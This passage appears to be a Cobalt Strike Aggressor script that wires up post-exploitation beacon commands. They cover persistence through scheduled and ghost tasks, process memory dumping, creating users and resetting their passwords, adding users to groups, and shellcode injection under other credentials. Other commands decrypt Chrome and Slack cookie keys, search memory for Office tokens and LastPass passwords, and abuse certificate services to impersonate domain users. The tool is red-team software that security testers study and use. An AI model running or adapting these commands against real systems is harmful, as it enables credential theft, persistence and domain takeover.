|
HKU
|
|
HKCR
|
|
REGPATH Required. The registry path to save.
|
|
FILEOUT Required. The output file.
|
|
Note: The FILEOUT is saved to disk on target, so don't forget to clean up.
|
|
"
|
|
);
|
|
|
|
|
|
|
|
########################################
|
|
# Schedule Task functions
|
|
########################################
|
|
|
|
#schtaskscreate [OPT:HOSTNAME] [USERNAME] [PASSWORD] [TASKPATH] [USERMODE] [FORCEMODE]
|
|
alias schtaskscreate
|
|
{
|
|
local('$server $taskpath $username $password $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
|
|
$bid = $1;
|
|
$server = "";
|
|
$fp = $null;
|
|
|
|
if(size(@_) == 6)
|
|
{
|
|
$username = $2;
|
|
$password = $3;
|
|
$taskpath = $4;
|
|
$mode = $5;
|
|
}
|
|
else if(size(@_) == 7)
|
|
{
|
|
$server = $2;
|
|
$username = $3;
|
|
$password = $4;
|
|
$taskpath = $5;
|
|
$mode = $6;
|
|
}
|
|
else
|
|
{
|
|
berror($bid, beacon_command_detail("schtaskscreate"));
|
|
berror($bid, "Inavlid usage");
|
|
return;
|
|
}
|
|
|
|
if($mode eq "USER")
|
|
{
|
|
$mode = 0;
|
|
}
|
|
else if($mode eq "SYSTEM")
|
|
{
|
|
$mode = 1;
|
|
}
|
|
else if ($mode eq "XML")
|
|
{
|
|
$mode = 2;
|
|
}
|
|
else if ($mode eq "PASSWORD")
|
|
{
|
|
$mode = 3;
|
|
}
|
|
else
|
|
{
|
|
berror($bid, beacon_command_detail("schtaskscreate"));
|
|
berror($bid, "Must provide USER, SYSTEM, or XML (case sensitive)");
|
|
return;
|
|
}
|
|
|
|
if(@_[size(@_) -1] eq "UPDATE")
|
|
{
|
|
$force = 1;
|
|
}
|
|
else if (@_[size(@_) -1] eq "CREATE")
|
|
{
|
|
$force = 0;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("schtaskscreate"));
|
|
berror($1, "Must provide CREATE or UPDATE (case sensitive)");
|
|
return;
|
|
}
|
|
|
|
prompt_file_open("Please select the xml task definition", $null, false, $this);
|
|
yield;
|
|
$fpath = $1;
|
|
if(!-canread $fpath)
|
|
{
|
|
berror($bid, "Unable to read the xml task definition file: $fpath");
|
|
return;
|
|
}
|
|
$fp = openf($fpath);
|
|
$fdata = readb($fp, -1);
|
|
closef($fp);
|
|
|
|
$args = bof_pack($bid, "ZZZZZii", $server,$username,$password, $taskpath, $fdata, $mode, $force);
|
|
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"schtaskscreate",
|
|
"Creates a new scheduled task",
|
|
"
|
|
Command: schtaskscreate
|
|
Summary: This command attempts to create or update a scheduled task given an
|
|
XML task definition.
|
|
Usage: schtaskscreate [OPT:HOSTNAME] [USERNAME] [PASSWORD] [TASKPATH] [USERMODE] [FORCEMODE]
|
|
HOSTNAME Optional. The system on which to create the task.
|
|
USERNAME Required. The username that the task will run as. If current user is same as desired context, pass \"\" (empty quotes)
|
|
PASSWORD Required. The password for the user that the task will run as. If current user is same as desired context, pass \"\" (empty quotes)
|
|
TASKPATH Required. The path for the created task.
|
|
USERMODE Required. The username to associate with the task. The valid
|
|
options are (case sensitive):
|
|
USER uses the current user
|
|
XML uses the principal user from the task XML
|
|
SYSTEM uses the Local System service
|
|
PASSWORD uses the credentials passed
|
|
FORCEMODE Required. Creation disposition. The options are (case
|
|
sensitive):
|
|
CREATE fail if the task already exists
|
|
UPDATE update an exiting task
|
|
Note: Please see https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-schema-elements
|
|
for the base xml definitions. More formed examples start here
|
|
https://docs.microsoft.com/en-us/windows/win32/taskschd/time-trigger-example--xml-
|
|
"
|
|
);
|
|
|
|
|
|
#schtasksdelete [OPT:HOSTNAME] [TASKNAME] [TYPE]
|
|
alias schtasksdelete
|
|
{
|
|
local('$bid $args $server $taskname $isfolder');
|
|
$bid = $1;
|
|
$server = "";
|
|
|
|
if ( size(@_) < 3)
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksdelete"));
|
|
return;
|
|
}
|
|
else if(size(@_) == 3)
|
|
{
|
|
$taskname = $2;
|
|
}
|
|
else if(size(@_) == 4)
|
|
{
|
|
$server = $2;
|
|
$taskname = $3;
|
|
}
|
|
else
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksdelete"));
|
|
return;
|
|
}
|
|
|
|
if(@_[size(@_) -1] eq "TASK")
|
|
{
|
|
$isfolder = 0;
|
|
}
|
|
else if (@_[size(@_) -1] eq "FOLDER")
|
|
{
|
|
$isfolder = 1;
|
|
}
|
|
else
|
|
{
|
|
berror($bid, beacon_command_detail("schtasksdelete"));
|
|
berror($bid, "Must provide TASK or FOLDER (case sensitive)");
|
|
return;
|
|
}
|
|
|
|
$args = bof_pack($bid, "ZZi", $server, $taskname, $isfolder);
|
|
beacon_inline_execute($bid, readbof($bid, "schtasksdelete"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"schtasksdelete",
|
|
"Deletes the specified scheduled task or folder",
|
|
"
|
|
Command: schtasksdelete
|
|
Summary: This command deletes a scheduled task or folder.
|
|
Usage: schtasksdelete [OPT:HOSTNAME] [TASKNAME] [TYPE]
|
|
HOSTNAME Optional. The target system (local system if not specified)
|
|
TASKNAME Required. The task or folder name.
|
|
TYPE Required. The type of target to delete. Valid options are:
|
|
FOLDER
|
|
TASK
|
|
Note: If you are deleting a folder, it must be empty.
|
|
If you are deleting a task, the full path including the task name must
|
|
be given, e.g.:
|
|
schtasksdelete \\Microsoft\\Windows\\MUI\\LpRemove TASK
|
|
schtasksdelete \\some\\random\\task\\folder FOLDER
|
|
"
|
|
);
|
|
|
|
|
|
#schtasksstop [OPT:HOSTNAME] [TASKNAME]
|
|
alias schtasksstop
|
|
{
|
|
local('$bid $args $server $taskname');
|
|
$bid = $1;
|
|
$server = "";
|
|
if ( size(@_) < 2)
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksstop"));
|
|
return;
|
|
} else if(size(@_) == 2)
|
|
{
|
|
$taskname = $2;
|
|
} else if(size(@_) == 3)
|
|
{
|
|
$server = $2;
|
|
$taskname = $3;
|
|
} else
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksstop"));
|
|
return;
|
|
}
|
|
$args = bof_pack($bid, "ZZ", $server, $taskname);
|
|
beacon_inline_execute($bid, readbof($bid, "schtasksstop"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"schtasksstop",
|
|
"Stops the specified scheduled task",
|
|
"
|
|
Command: schtasksstop
|
|
Summary: This command stops a scheduled task.
|
|
Usage: schtasksstop [OPT:HOSTNAME] [TASKNAME]
|
|
HOSTNAME Optional. The target system (local system if not specified)
|
|
TASKNAME Required. The scheduled task name.
|
|
Note: The full path including the task name must be given, e.g.:
|
|
schtasksstop \\Microsoft\\Windows\\MUI\\LpRemove
|
|
schtasksstop \\Microsoft\\windows\\MUI\\totallyreal
|
|
"
|
|
);
|
|
|
|
#schtasksrun [OPT:HOSTNAME] [TASKNAME]
|
|
alias schtasksrun
|
|
{
|
|
local('$bid $args $server $taskname');
|
|
$bid = $1;
|
|
$server = "";
|
|
if ( size(@_) < 2)
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksrun"));
|
|
return;
|
|
} else if(size(@_) == 2)
|
|
{
|
|
$taskname = $2;
|
|
} else if(size(@_) == 3)
|
|
{
|
|
$server = $2;
|
|
$taskname = $3;
|
|
} else
|
|
{
|
|
berror($bid, "Invalid Usage");
|
|
berror($bid, beacon_command_detail("schtasksrun"));
|
|
return;
|
|
}
|
|
$args = bof_pack($bid, "ZZ", $server, $taskname);
|
|
beacon_inline_execute($bid, readbof($bid, "schtasksrun"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"schtasksrun",
|
|
"Run the specified scheduled task",
|
|
"
|
|
Command: schtasksrun
|
|
Summary: This command runs a scheduled task.
|
|
Usage: schtasksrun [OPT:HOSTNAME] [TASKNAME]
|
|
HOSTNAME Optional. The target system (local system if not specified)
|
|
TASKNAME Required. The scheduled task name.
|
|
Note: The full path including the task name must be given, e.g.:
|
|
schtasksstop \\Microsoft\\Windows\\MUI\\LpRemove
|
|
schtasksstop \\Microsoft\\windows\\MUI\\totallyreal
|
|
"
|
|
);
|
|
|
|
|
|
|
|
########################################
|
|
# Process functions
|
|
########################################
|
|
|
|
#procdump [PID] [FILEOUT]
|
|
alias procdump
|
|
{
|
|
local('$args $pid $target');
|
|
|
|
if (size(@_) != 3)
|
|
{
|
|
berror($1, beacon_command_detail("procdump"));
|
|
berror($1, "Invalid number of arguments");
|
|
return;
|
|
}
|
|
|
|
blog($1, "Requesting to enable debug privs");
|
|
bgetprivs($1, "SeDebugPrivilege");
|
|
|
|
blog($1, "Attempting to dump pid $2 to location $3");
|
|
$args = bof_pack($1, "iZ", $2, $3);
|
|
beacon_inline_execute($1, readbof($1, "procdump"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"procdump",
|
|
"Dumps the specified process to the specified output file",
|
|
"
|
|
Command: procdump
|
|
Summary: This command attempts to dump a process using MiniDumpWriteDump. It
|
|
writes the output to the file location specified.
|
|
Usage: procdump [PID] [FILEOUT]
|
|
PID Required. The process to dump.
|
|
FILEOUT Required. The output path to write the dump to. Remember to
|
|
delete this file.
|
|
Warning: This command may very well get caught, but is here as an option regardless.
|
|
"
|
|
);
|
|
|
|
|
|
#ProcessListHandles [PID]
|
|
alias ProcessListHandles
|
|
{
|
|
if(size(@_) != 2)
|
|
{
|
|
berror($1, "Invalid number of arguments");
|
|
berror($1, beacon_command_detail("ProcessListHandles"));
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "ProcessListHandles"), "go", bof_pack($1, "i", $2));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"ProcessListHandles",
|
|
"Lists open handles in process",
|
|
"
|
|
Command: ProcessListHandles
|
|
Summary: Lists all open handles in a specified process.
|
|
Usage: ProcessListHandles [PID]
|
|
PID Required. The process to list the handles of. You must have
|
|
permission to open the specified process.
|
|
"
|
|
);
|
|
|
|
|
|
#ProcessDestroy [PID] [OPT:HANDLEID]
|
|
alias ProcessDestroy
|
|
{
|
|
local('$handle');
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, "Invalid number of arguments");
|
|
berror($1, beacon_command_detail("ProcessDestroy"));
|
|
return;
|
|
}
|
|
$handle = iff(-istrue $3, $3, 0);
|
|
if($handle < 0 || $handle > 65535)
|
|
{
|
|
berror($1, "Invalid HANDLEID");
|
|
berror($1, beacon_command_detail("ProcessDestroy"));
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "ProcessDestroy"), "go", bof_pack($1, "ii", $2, $handle));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"ProcessDestroy",
|
|
"Closes handle(s) in a process",
|
|
"
|
|
Command: ProcessDestroy
|
|
Summary: Closes specified handle in a specified process, or closes all handles
|
|
if one is not specified.
|
|
Usage: ProcessDestroy [PID] [OPT:HANDLEID]
|
|
PID Required. The process to list the handles of. You must have
|
|
permission to open the specified process.
|
|
HANDLEID: Optional. The specific handle ID to close, or close all
|
|
handles if not specified. The values for HANDLEID must be
|
|
between 1 - 65535.
|
|
"
|
|
);
|
|
|
|
|
|
|
|
########################################
|
|
# User account functions
|
|
########################################
|
|
|
|
#enableuser [USERNAME] [DOMAIN]
|
|
alias enableuser
|
|
{
|
|
if(size(@_) != 3)
|
|
{
|
|
berror($1, beacon_command_detail("enableuser"));
|
|
berror($1, "Invalid number of parameters");
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "enableuser"), "go", bof_pack($1, "ZZ", $3, $2));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"enableuser",
|
|
"Enables and unlocks the specified user account",
|
|
"
|
|
Command: enableuser
|
|
Summary: Activates (and if necessary enables) the specified user account on the
|
|
target computer.
|
|
Usage: enableuser [USERNAME] [DOMAIN]
|
|
USERNAME Required. The user name to activate/enable.
|
|
DOMAIN Required. The domain/computer for the account. You must give
|
|
the domain name for the user if it is a domain account, or
|
|
use \"\" to target an account on the local machine.
|
|
"
|
|
);
|
|
|
|
|
|
#setuserpass [USERNAME] [PASSWORD] [DOMAIN]
|
|
alias setuserpass
|
|
{
|
|
if(size(@_) != 4)
|
|
{
|
|
berror($1, beacon_command_detail("setuserpass"));
|
|
berror($1, "Invalid number of parameters");
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "setuserpass"), "go", bof_pack($1, "ZZZ", $4, $2, $3));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"setuserpass",
|
|
"Sets the specified user\'s password",
|
|
"
|
|
Command: setuserpass
|
|
Summary: Sets the password for the specified user account on the target
|
|
computer.
|
|
Usage: setuserpass [USERNAME] [PASSWORD] [DOMAIN]
|
|
USERNAME Required. The user name to activate/enable.
|
|
PASSWORD Required. The new password. The password must meet GPO
|
|
requirements.
|
|
DOMAIN Required. The domain/computer for the account. You must give
|
|
the domain name for the user if it is a domain account, or
|
|
use \"\" to target an account on the local machine.
|
|
"
|
|
);
|
|
|
|
|
|
#addusertogroup [USERNAME] [GROUPNAME] [SERVER] [DOMAIN]
|
|
alias addusertogroup
|
|
{
|
|
if(size(@_) != 5)
|
|
{
|
|
berror($1, beacon_command_detail("addusertogroup"));
|
|
berror($1, "Invalid number of parameters");
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "addusertogroup"), "go", bof_pack($1, "ZZZZ", $5, $4, $2, $3));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"addusertogroup",
|
|
"Add the specified user to the specified group",
|
|
"
|
|
Command: addusertogroup
|
|
Summary: Add the specified user to the group. Domain groups only!
|
|
|
|
Usage: addusertogroup [USERNAME] [GROUPNAME] [SERVER] [DOMAIN]
|
|
USERNAME Required. The user name to activate/enable.
|
|
GROUPNAME Required. The group to add the user to.
|
|
SERVER Required. The target computer to perform the addition on. use \"\" for the local machine
|
|
DOMAIN Required. The domain/computer for the account. You must give
|
|
the domain name for the user if it is a domain account, or
|
|
use \"\" to target an account on the local machine.
|
|
|
|
"
|
|
);
|
|
|
|
#aadduser [USERNAME] [PASSWORD] [SERVER]
|
|
alias adduser
|
|
{
|
|
local('$bid $username $pass $server');
|
|
|
|
if(size(@_) < 3 || size(@_) > 4)
|
|
{
|
|
berror($1, beacon_command_detail("adduser"));
|
|
berror($1, "Invalid number of parameters");
|
|
return;
|
|
}
|
|
else if(size(@_) == 3)
|
|
{
|
|
$bid = $1;
|
|
$username = $2;
|
|
$pass = $3;
|
|
$server = "";
|
|
}
|
|
else if(size(@_) == 4)
|
|
{
|
|
$bid = $1;
|
|
$username = $2;
|
|
$pass = $3;
|
|
$server = $4;
|
|
}
|
|
|
|
beacon_inline_execute($bid, readbof($bid, "adduser"), "go", bof_pack($bid, "ZZZ", $username, $pass, $server));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"adduser",
|
|
"Add a new user to a machine.",
|
|
"
|
|
Command: adduser
|
|
Summary: Add a new user to a machine.
|
|
|
|
Usage: adduser [USERNAME] [PASSWORD] [SERVER]
|
|
USERNAME Required. The name of the new user.
|
|
PASSWORD Required. The password of the new user.
|
|
SERVER Optional. If entered, the user will be created on that machine. If not, the
|
|
local machine will be used.
|
|
"
|
|
);
|
|
|
|
#unexpireuser [USERNAME] [DOMAIN]
|
|
alias unexpireuser
|
|
{
|
|
if(size(@_) != 3)
|
|
{
|
|
berror($1, beacon_command_detail("unexpireuser"));
|
|
berror($1, "Invalid number of parameters");
|
|
return;
|
|
}
|
|
beacon_inline_execute($1, readbof($1, "unexpireuser"), "go", bof_pack($1, "ZZ", $3, $2));
|
|
}
|
|
|
|
beacon_command_register(
|
|
"unexpireuser",
|
|
"Enables and unlocks the specified user account",
|
|
"
|
|
Command: unexpireuser
|
|
Summary: Activates (and if necessary enables) the specified user account on the
|
|
target computer.
|
|
Usage: unexpireuser [USERNAME] [DOMAIN]
|
|
USERNAME Required. The user name to activate/enable.
|
|
DOMAIN Required. The domain/computer for the account. You must give
|
|
the domain name for the user if it is a domain account, or
|
|
use \"\" to target an account on the local machine.
|
|
"
|
|
);
|
|
|
|
|
|
#chromeKey
|
|
alias chromeKey{
|
|
beacon_inline_execute($1, readbof($1, "chromeKey"), "go", $null);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"chromeKey",
|
|
"Decrypts the provided base64 encoded Chrome key",
|
|
"
|
|
Command: chromeKey
|
|
Summary: This command decrypts the provided base64 encoded Chrome key for use
|
|
in decrypting cookies. If you get results, download the Cookies file
|
|
from either google or modern edge. An example Filepath is:
|
|
C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies
|
|
You can feed the key and cookie file into Chlonium to decrypt the
|
|
contents. Chlonium can be found here:
|
|
https://github.com/rxwx/chlonium
|
|
|
|
Usage: chromeKey
|
|
"
|
|
);
|
|
|
|
#slackKey
|
|
alias slackKey{
|
|
beacon_inline_execute($1, readbof($1, "slackKey"), "go", $null);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"slackKey",
|
|
"Decrypts the provided base64 encoded Chrome key",
|
|
"
|
|
Command: slackKey
|
|
Summary: This command decrypts the provided base64 encoded Slack key for use
|
|
in decrypting cookies. If you get results, download the Cookies file
|
|
from slack. An example Filepath is:
|
|
C:\\Users\\user\\AppData\\Roaming\\Slack\\Network\\Cookies
|
|
|
|
Usage: slackKey
|
|
"
|
|
);
|
|
|
|
|
|
sub bshspawnas {
|
|
local('$bid $args $pass $username $domain $shellcode $shellcodelen $user $fp');
|
|
|
|
$bid = $1;
|
|
$domain = $2;
|
|
$username = $3;
|
|
$pass = $4;
|
|
if(-exists $5)
|
|
{
|
|
$shellcodelen = lof($5);
|
|
$fp = openf($5);
|
|
$shellcode = readb($fp, $shellcodelen);
|
|
closef($fp);
|
|
}
|
|
else
|
|
{
|
|
berror($bid, "Could not open file at path " . $5);
|
|
return;
|
|
}
|
|
$user = binfo($bid, "user");
|
|
if($user eq "SYSTEM *" || $user eq "SYSTEM")
|
|
{
|
|
berror($bid, "This function will not function properly as the system user");
|
|
return;
|
|
}
|
|
$args = bof_pack($bid, "ZZZb", $domain, $username, $pass, $shellcode);
|
|
beacon_inline_execute($bid, readbof($bid, 'shspawnas'), "go", $args);
|
|
|
|
}
|
|
|
|
# shspawnas [DOMAIN] [USERNAME] [PASSWORD] [OPT:SHELLCODEFILE]
|
|
alias shspawnas {
|
|
local('$shellcodepath $bid $username $pass $domain $ppid');
|
|
if(size(@_) < 4)
|
|
{
|
|
berror($1, "Incorrect argument count");
|
|
berror($1, beacon_command_detail('shspawnas'));
|
|
return;
|
|
}
|
|
$bid = $1;
|
|
$domain = $2;
|
|
$username = $3;
|
|
$pass = $4;
|
|
if(size(@_) == 4)
|
|
{
|
|
prompt_file_open("Select shellcode", $null, false, $this);
|
|
yield;
|
|
$shellcodepath = $1;
|
|
}
|
|
else
|
|
{
|
|
$shellcodepath = $5;
|
|
}
|
|
|
|
bshspawnas($bid, $domain, $username, $pass, $shellcodepath);
|
|
}
|
|
|
|
|
|
beacon_command_register(
|
|
'shspawnas',
|
|
'spawn / inject as specified user',
|
|
"usage: shspawnas [DOMAIN] [USERNAME] [PASSWORD] [OPT:SHELLCODEFILE]
|
|
If shellcode file is not provided a file browser will open so you can select it
|
|
use \"\" for domain to log into the local machine
|
|
Be aware the user you specify must be able to log into the machine interactivly and the login is recorded as such"
|
|
);
|
|
|
|
# adcs_request [CA] [OPT:TEMPLATE] [OPT:SUBJECT] [OPT:ALTNAME] [OPT:INSTALL] [OPT:MACHINE] [OPT:ADD_APP_POLICY] [OPT:DNS]
|
|
alias adcs_request {
|
|
local('$params $keys $args $adcs_request_ca $adcs_request_template $adcs_request_subject $adcs_request_altname $adcs_request_alturl $adcs_request_install $adcs_request_machine $app_policy');
|
|
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, beacon_command_detail("adcs_request"));
|
|
berror($1, "Need to provide the Certificate Authority at a minimum");
|
|
return;
|
|
}
|
|
|
|
|
|
$adcs_request_ca = "";
|
|
$adcs_request_template = "";
|
|
$adcs_request_subject = "";
|
|
$adcs_request_altname = "";
|
|
$adcs_request_alturl = "";
|
|
$adcs_request_install = 0;
|
|
$adcs_request_machine = 0;
|
|
$app_policy = 0;
|
|
$dns = 0;
|
|
|
|
$adcs_request_ca = $2;
|
|
$adcs_request_template = iff(-istrue $3, $3, "");
|
|
$adcs_request_subject = iff(-istrue $4, $4, "");
|
|
$adcs_request_altname = iff(-istrue $5, $5, "");
|
|
$adcs_request_alturl = iff(-istrue $6, $6, "");
|
|
$adcs_request_install = iff(-istrue $7, $7, 0);
|
|
$adcs_request_machine = iff(-istrue $8, $8, 0);
|
|
$app_policy = iff(-istrue $9, $9, 0);
|
|
$dns = iff(-istrue $10, $10, 0);
|
|
|
|
$args = bof_pack($1, "ZZZZZssss", $adcs_request_ca, $adcs_request_template, $adcs_request_subject, $adcs_request_altname, $adcs_request_alturl, $adcs_request_install, $adcs_request_machine, $app_policy, $dns);
|
|
beacon_inline_execute($1, readbof($1, "adcs_request"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"adcs_request",
|
|
"Request an enrollment certificate",
|
|
"
|
|
Command: adcs_request
|
|
Summary: This command connects a certificate authority and requests an enrollment
|
|
certificate of the specified type for the specified subject and alternative
|
|
name. It will also optionally install the certificate for the current context.
|
|
Usage: adcs_request [CA] [OPT:TEMPLATE] [OPT:SUBJECT] [OPT:ALTNAME] [OPT:INSTALL] [OPT:MACHINE] [OPT:ADD_APP_POLICY] [OPT:DNS]
|
|
CA Required. The certificate authority to use.
|
|
TEMPLATE Optional. The certificate type to request. Use \"\" for default of User/Machine
|
|
SUBJECT Optional. The subject's distinguished name. Use \"\" for default of current machine / user
|
|
ALTNAME Optional. The alternate subject's distinguished name. Use \"\" for default
|
|
ALTURL Optional. SAN URL entry, can be used to specify the alternate subject's SID. Use \"\" to omit
|
|
INSTALL Optional. Install the certificate in current context? 0 = No, 1 = Yes. Default = 0
|
|
MACHINE Optional. Request a certificate for a machine instead of a user? 0 = No, 1 = Yes. Default = 0
|
|
ADD_APP_POLICY Optional. Adds App policy to allow client auth and Acting as a certificate agent. (ESC15)
|
|
DNS Optional. 1 = Subject Altname given as a DNS name, 0 = Subject alt name given as UPN. Default = 0
|
|
|
|
All arguments are positional. To a specify a non-default value for a optional you must specify a value for
|
|
All arguments prior to that given optional.
|
|
|
|
Examples:
|
|
basic:
|
|
adcs_request cert.example.org\\example-CERT-CA
|
|
|
|
all options:
|
|
adcs_request cert.example.org\\example-CERT-CA vulnTemplate CN=Administrator,CN=Users,DC=example,DC=org CN=second_adm,CN=Users,DC=example,DC=org tag:microsoft.com,2022-09-14:sid:S-1-5-21-3006160104-3291460162-27467737-1123 0 0 0 0
|
|
|
|
use quotes for any arguments with spaces.
|
|
"
|
|
);
|
|
|
|
# adcs_request_on_behalf [TEMPLATE] [REQUESTER] [ENROLLMENT_AGENT.pfx] [Download_Name]
|
|
alias adcs_request_on_behalf
|
|
{
|
|
local('$handle $enrollpfx');
|
|
if(size(@_) < 5)
|
|
{
|
|
berror($1, beacon_command_detail("adcs_request_on_behalf"));
|
|
return;
|
|
}
|
|
$handle = openf($4);
|
|
$enrollpfx = readb($handle, -1);
|
|
closef($handle);
|
|
if(strlen($enrollpfx) == 0)
|
|
{
|
|
berror($1, "unable to open file at path $enrollpfx ");
|
|
return;
|
|
}
|
|
|
|
|
|
$args = bof_pack($1, "ZZzb", $2, $3, $5, $enrollpfx);
|
|
beacon_inline_execute($1, readbof($1, "adcs_request_on_behalf"), "go", $args);
|
|
}
|
|
|
|
|
|
beacon_command_register(
|
|
"adcs_request_on_behalf",
|
|
"Requests an enrollment certificate on behalf of another user",
|
|
"
|
|
Command: adcs_request_on_behalf
|
|
Summary: This command allows you to take a certificate that has XCN_OID_ENROLLMENT_AGENT as an MSApplicationPolicies extension
|
|
and allows you to then request a certificate as if you were any other user in the domain.
|
|
|
|
Usage: adcs_request_on_behalf [TEMPLATE] [REQUESTER] [ENROLLMENT_AGENT.pfx] [Download_Name]
|
|
TEMPLATE Required. The Template that you wish to request on behalf of a target user
|
|
REQUESTER Required. The domain / username who you want to make the request on behalf of
|
|
ENROLLMENT_AGENT.pfx Required. Local file path to where the .pfx is with OID_ENROLLMENT_AGENT extension
|
|
Download_Name Required. Name you want this file to have when downloaded by the C2 framework.
|
|
|
|
On success the newly requested PFX will be available in the cobalt strike downloads tab
|
|
in other frameworks it is dependent on proper handling of cobalt strike style download messages.
|
|
|
|
Example:
|
|
|
|
adcs_request_on_behalf User Example\\Administrator /tmp/enroll.pfx Admin.pfx"
|
|
)
|
|
|
|
# office_tokens [PID]
|
|
alias office_tokens
|
|
{
|
|
local('$pid $args');
|
|
if(size(@_) != 2)
|
|
{
|
|
berror($1, "usage: office_tokens <pid>");
|
|
return;
|
|
}
|
|
$pid = parseNumber($2, 10);
|
|
berror($1, $pid);
|
|
|
|
$args = bof_pack($1, "i", $pid);
|
|
beacon_inline_execute($1, readbof($1, "office_tokens"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"office_tokens",
|
|
"Searches memory for Office JWT Access Tokens",
|
|
"Command: office_tokens
|
|
|
|
Usage: office_tokens [PID] "
|
|
);
|
|
|
|
# lastpass lastpass [NUMBER OF PIDs] [PID],[PID],[PID],[PID] ... ...
|
|
alias lastpass
|
|
{
|
|
local('$pid $args $value $i $buffer $arg_sz');
|
|
$arg_sz = size(@_);
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, "usage: lastpass <pid1> <pid2> <pid3> .. <pidn>");
|
|
return;
|
|
}
|
|
|
|
$buffer = allocate(0);
|
|
|
|
for( $i = 1; $i < $arg_sz; $i++)
|
|
{
|
|
bwrite($buffer, "i", @_[$i]);
|
|
}
|
|
bwrite($buffer, "i", 0); # null terminator at the end
|
|
closef($buffer);
|
|
$value = readb($buffer, -1);
|
|
|
|
$arg_sz = $arg_sz - 1;
|
|
|
|
berror($1, $arg_sz);
|
|
$args = bof_pack($1, "ib", $arg_sz, $value);
|
|
beacon_inline_execute($1, readbof($1, "lastpass"), "go", $args);
|
|
berror($1, "FINISHED");
|
|
}
|
|
|
|
beacon_command_register(
|
|
"lastpass",
|
|
"Searches memory for LastPass passwords and hashes",
|
|
"Command: lastpass
|
|
|
|
Usage: lastpass [NUMBER OF PIDs] [PID],[PID],[PID],[PID] ... "
|
|
);
|
|
|
|
# suspend [PID]
|
|
alias suspend {
|
|
local('$args');
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, beacon_command_detail("suspend"));
|
|
return;
|
|
}
|
|
$args = bof_pack($1, "si", 1, $2);
|
|
beacon_inline_execute($1, readbof($1, "suspendresume"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"suspend",
|
|
"suspend a process by pid",
|
|
"Command: suspend
|
|
|
|
Usage: suspend [PID]
|
|
|
|
attempts to suspend the process listed"
|
|
);
|
|
|
|
# resume [PID]
|
|
alias resume {
|
|
local('$args');
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, beacon_command_detail("resume"));
|
|
return;
|
|
}
|
|
$args = bof_pack($1, "si", 0, $2);
|
|
beacon_inline_execute($1, readbof($1, "suspendresume"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"resume",
|
|
"resume a process by pid",
|
|
"Command: resume
|
|
|
|
Usage: resume [PID]
|
|
|
|
attempts to resume the process listed"
|
|
);
|
|
|
|
# get_priv [Privledge Name]
|
|
alias get_priv {
|
|
local('$args');
|
|
if(size(@_) < 2)
|
|
{
|
|
berror($1, beacon_command_detail("get_priv"));
|
|
return;
|
|
}
|
|
$args = bof_pack($1, "z", $2);
|
|
beacon_inline_execute($1, readbof($1, "get_priv"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"get_priv",
|
|
"Activate a token privledge",
|
|
"Command: get_priv
|
|
|
|
Usage: get_priv [Privledge Name]
|
|
|
|
Privledge names are listed here https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
|
|
They are the equivilent of what you see in whoami /all or our whoami bof from the SA repo
|
|
"
|
|
);
|
|
|
|
# ghost_task localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday
|
|
# ghost_task localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37
|
|
# ghost_task DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
|
|
# thx L.N.
|
|
alias ghost_task
|
|
{
|
|
local('$arglen $hostname $operation $taskname $program $argument $username $scheduletype $time $day $args');
|
|
$bid = $1;
|
|
$arglen = size(@_);
|
|
if ($arglen == 1) {
|
|
berror($bid, "No computer name (e.g., localhost/remote server hostname) provided.\n");
|
|
return;
|
|
} else if ($arglen == 2) {
|
|
berror($bid, "No reg task operation (e.g., add/delete) provided.\n");
|
|
return;
|
|
}
|
|
$hostname = lc($2);
|
|
$operation = lc($3);
|
|
|
|
if($operation eq "add")
|
|
{
|
|
if ($arglen < 8) {
|
|
berror($bid, beacon_command_detail("ghost_task"));
|
|
return;
|
|
}
|
|
$taskname = lc($4);
|
|
$program = lc($5);
|
|
$argument = lc($6);
|
|
$username = lc($7);
|
|
$scheduletype = lc($8);
|
|
